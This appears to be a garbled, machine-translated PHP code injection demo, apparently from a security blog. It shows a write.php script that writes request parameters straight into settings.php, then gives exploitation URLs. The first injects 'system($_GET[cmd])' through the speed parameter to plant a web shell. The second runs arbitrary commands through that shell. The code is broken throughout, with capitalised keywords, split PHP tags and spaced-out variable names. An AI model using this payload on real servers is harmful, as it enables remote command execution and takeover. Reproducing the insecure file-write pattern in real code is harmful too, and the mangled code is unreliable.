PHP code injection demo

Vc2VjdXJlaGlwaG9w "href =" http://hi.baidu.com/securehiphop ">Secure-hiphop Blog

Test write. php

<? Php
$ Filename = settings. php;
If (is_writable ($ filename )){
If (! $ Handle = fopen ($ filename, w )){
Print "Cannot open file ($ filename )";
Exit;
}
If (! Fwrite ($ handle, "<? Php
$ Password = $ password;
$ Font = $ font;
$ Height = $ height;
$ Width = $ width;
$ Direction = $ direction;
$ Speed = $ speed;
$ Bgcolor = $ bgcolor;
$ Txtcolor = $ txtcolor;
$ Txtsize = $ txtsize;
?> ")){
Print "Cannot write to file ($ filename )";
Exit;
}
Print "Successfully saved settings to file ($ filename )";
Fclose ($ handle );
} Else {
Print "The file $ filename is not writable ";
}
?>
<Br> <div align = center>

Exploitation:
Create a local settings. php
[Url] http://site.com/write.php? Speed =; % 20 system ($ _ GET [cmd]);

Http: // localhost/settings. php? Cmd = [command]